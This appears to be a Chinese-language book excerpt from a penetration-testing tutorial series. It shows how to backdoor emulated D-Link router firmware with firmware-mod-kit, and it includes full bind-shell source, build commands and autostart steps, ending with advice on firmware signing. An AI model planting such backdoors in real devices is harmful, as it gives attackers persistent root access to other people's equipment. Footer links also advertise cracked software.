写点什么

物联网渗透测试(十三):使用 firmware-mod-kit(FMK) 在固件中添加后门

  • 2020-05-21
  • 本文字数:2708 字

    阅读完需:约 9 分钟

物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门

编者按:本文节选自华章网络空间安全技术丛书《物联网渗透测试》一书中的部分章节。

使用 firmware-mod-kit(FMK)在固件中添加后门

在漏洞利用过程中,经常需要用到的一种方法就是篡改固件。也就是从固件中提取文件系统,对其内容进行修改,然后再将其重新打包成新的固件,随后攻击者可以将这个新打包的固件刷进设备。

准备工作

固件篡改的过程会用到工具 FMK,该工具由 Jeremy Collake 和 Craig Heffner 开发。FMK 不仅可以利用 Binwalk 或其他工具从固件中提取出文件系统,还具有将篡改后的文件系统重新打包成新固件的功能。


FMK 可以从https://github.com/brianpow/firmware-mod-kit/下载,如果读者之前从 GitHub 中克隆了 FAT 代码,那么该工具应该已经存在于读者的系统中了。下载完该工具后,接下来我们就可以找一个固件一试身手了。出于简单起见,同时让本书的读者在无须投入资金购买硬件的情况下也能够复现以下步骤,我们主要以能够采用 FAT 进行仿真的固件为例进行介绍。

测试流程

篡改固件的步骤如下:


1)在本例中我们使用的固件来自 D-Link DIR-300 路由器。在这里我们使用 FMK 目录下的 extract-firmware.sh 脚本从固件中提取文件系统,而未使用 Binwalk。操作命令如图 1 所示。


./extract-firmware.sh Dlink_firmware.bin
复制代码



图 1


提取出固件后,脚本会生成一个新目录,其中包括 rootfs、image_part 和 logs 等文件夹。由于攻击者的目的大多是添加后门和修改固件,因此这里我们只关心 rootfs 文件夹。


rootfs 文件夹中包含了固件中的整套文件系统。而我们所要做的工作就是在固件中添加后门,然后找到固件启动后自动调用后门的方法。


2)首先查看固件所基于的架构。对固件中任一文件执行 readelf 命令就可以查看其架构,以 BusyBox 文件为例,命令执行结果如图 2 所示。



图 2


3)正如我们从图 2 中看到的,固件是基于 MIPS 小端架构的。这意味着我们需要开发符合 MIPS 小端架构的后门并进行编译。下面是我们将要使用的后门源码,该后门由 Osanda Malith 开发编写:


#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>
#define SERVER_PORT 9999 /* CC-BY: Osanda Malith Jayathissa (@OsandaMalith) * Bind Shell using Fork for my TP-Link mr3020 router running busybox * Arch : MIPS * mips-linux-gnu-gcc mybindshell.c -o mybindshell -static -EB -march=24kc */int main() { int serverfd, clientfd, server_pid, i = 0; char *banner = "[~] Welcome to @OsandaMalith's Bind Shell\n"; char *args[] = { "/bin/busybox", "sh", (char *) 0 }; Analyzing and Exploiting Firmware struct sockaddr_in server, client; socklen_t len;
server.sin_family = AF_INET; server.sin_port = htons(SERVER_PORT); server.sin_addr.s_addr = INADDR_ANY;
serverfd = socket(AF_INET, SOCK_STREAM, 0); bind(serverfd, (struct sockaddr *)&server, sizeof(server)); listen(serverfd, 1);
while (1) { len = sizeof(struct sockaddr); clientfd = accept(serverfd, (struct sockaddr *)&client, &len); server_pid = fork(); if (server_pid) { write(clientfd, banner, strlen(banner)); for(; i <3 /*u*/; i++) dup2(clientfd, i); execve("/bin/busybox", args, (char *) 0); close(clientfd); } close(clientfd); } return 0;}
复制代码


代码写好后,我们就可以使用针对 MIPSEL 架构的 Buildroot,并使用该 Buildroot 构建的交叉编译器编译代码。这里不对安装配置 Buildroot 的过程进行过多介绍,因为这个过程非常简单,并且在 Buildroot 的说明文档中已经进行了详细说明。


4)为 MIPSEL 架构创建了交叉编译器后,我们接下来将 bindshell.c 编译为能够植入文件系统的二进制文件 bindshell:


./mipsel-buildroot-linux-uclibc-gcc bindshell.c -static -obindshell
复制代码


下一步是在文件系统中寻找可以放置该二进制文件的地方,以及如何在启动过程中将其设置为自启动。这里我们的思路是分析在启动过程中自动调用的脚本,看看是否能够实现自启动。


5)在文件系统中,我们可以在 etc/templates/目录中放入后门的二进制文件,然后在 system.sh 脚本中调用该二进制文件,其中 system.sh 脚本位于/etc/scripts/目录下,脚本编写如图 3 所示。



图 3


6)接下来使用 build-firmware.sh 脚本将修改后的文件系统重新打包为新的固件,打包过程如图 4 所示。



图 4


执行完成后,会在目录 firmware-name/中生成新的固件,新固件名为 new-firmware.bin。


7)此时就创建完成了新的固件镜像,我们可以将新固件复制到 FAT 目录中,并通过仿真来验证新添加的后门是否能够正常运行。这里同之前固件仿真的步骤相同。操作步骤如图 5 所示。



图 5


如图 5 所示,固件仿真时获得的 IP 地址为 192.168.0.1,此时可以尝试访问该地址。但我们更关注在固件中添加的后门 bindshell 是否已经成功启动。


8)现在尝试运行 Netcat 连接目标 IP 的 9999 端口,检查后门是否成功启动,如图 6 所示。



图 6


根据执行结果,可以看到我们已经对固件进行了修改并成功植入了后门,因此此时成功获得了设备中具有 root 权限的 shell。而获得拥有 root 权限的 shell 之后,用户还可以修改设备的其他配置,或者将其作为跳板远程访问其他植入恶意固件的设备。

测试分析

固件篡改的功能强大,对于攻击者而言是梦寐以求的目标。这是因为,如果能够实现对固件的篡改,那么攻击者就能够实现绕过保护机制、移除安全防护措施等操作。而利用本章介绍的 FMK 等工具,攻击者可以很容易地将自己开发的恶意软件或后门植入到任意 IoT 设备固件中,这样攻击者就可以在全球任何地方通过后门访问 IoT 设备了。


正是由于固件篡改在攻击者手中具有如此强大的威力,所以如果能够对固件进行签名和校验值验证,那么对于防止恶意修改固件的攻击而言将具有非常重要的意义。


图书简介https://item.jd.com/12623610.html



相关阅读


物联网渗透测试(一):简介


物联网渗透测试(二):IoT 中的 Web 应用


物联网渗透测试(三):IoT 中的 移动应用


物联网渗透测试(四):IoT 渗透测试环境的部署


物联网渗透测试(五):威胁建模概念简介


物联网渗透测试(六):IoT 设备威胁建模剖析


物联网渗透测试(七):固件威胁建模


物联网渗透测试(八):IoT Web 应用威胁建模


物联网渗透测试(九):IoT 移动应用威胁建模


物联网渗透测试(十):固件分析方法


物联网渗透测试(十一):固件分析流程


物联网渗透测试(十二):MIPS 架构下的漏洞利用


2020-05-21 10:004793

评论

发布
暂无评论
发现更多内容

2023 年值得一读的技术文章 | NebulaGraph 技术社区

NebulaGraph

图数据库

2024年南京等保测评机构名单看这里!

行云管家

网络安全 南京 等级保护 等保测评

万界星空科技MES系统中的生产防错功能

万界星空科技

MES系统 mes 万界星空科技 生产管理 数字化车间

FastAPI 并发请求:打造更快的Web应用

Liam

程序员 性能优化 并发编程 后端 FastApi

基于 Flink 的实时数仓在曹操出行运营中的应用

Apache Flink

论学习方式和知识结构

凌晞

学习方法

cad2022破解版安装教程 附autocad2022注册机【Mac/win】

南屿

AutoCAD 激活版 CAD绘图软件 cad 2022安装教程 AutoCAD2022序列号

数据库防水坝是什么?有什么作用?有哪些优势?

行云管家

数据库 堡垒机 数据库安全

《高效能笔记法》读后感

凌晞

结构化思维 冰山模型

关于MySQL日期函数你不知道的用法

不在线第一只蜗牛

MySQL 数据库 前端 日期工具

把Mybatis Generator生成的代码加上想要的注释

京东科技开发者

以DataOps一体化之道,助力研发治理提质增效

鲸品堂

Data 运营商 一体化

全国高校计算机类课程能力提升高级研修班(2024年第一期)来了!

华为云PaaS服务小智

云计算 软件开发 华为云

每日一题:LeetCode-153. 寻找旋转排序数组中的最小值

Geek_4z9ami

面试 算法 LeetCode 二分查找 Go 语言

首个!百度飞桨会客厅落地广州,打通AI应用落地的“最后一公里”

飞桨PaddlePaddle

人工智能 AI AI技术 百度飞桨 智能化

制造业各种管理系统介绍及集成

万界星空科技

MES系统 ERP mes 万界星空科技 万界星空科技mes

CleanShot X为什么不能识别文字?CleanShot X文字识别教程

南屿

OCR识别 CleanShot X Mac截图软件

macOS Catalina for mac (macos 10.15系统)v10.15.7正式版

南屿

mac系统 苹果系统下载 macos 10.15系统

音乐编辑软件Studio One 6 Pro新功能介绍 含Studio One 6破解注册机

南屿

音乐制作 Studio One 许可证 Studio One 破解 Studio One 6下载

物联网渗透测试(十三):使用 firmware-mod-kit(FMK)在固件中添加后门_安全_亚伦·古兹曼,阿迪蒂亚·古普塔_InfoQ精选文章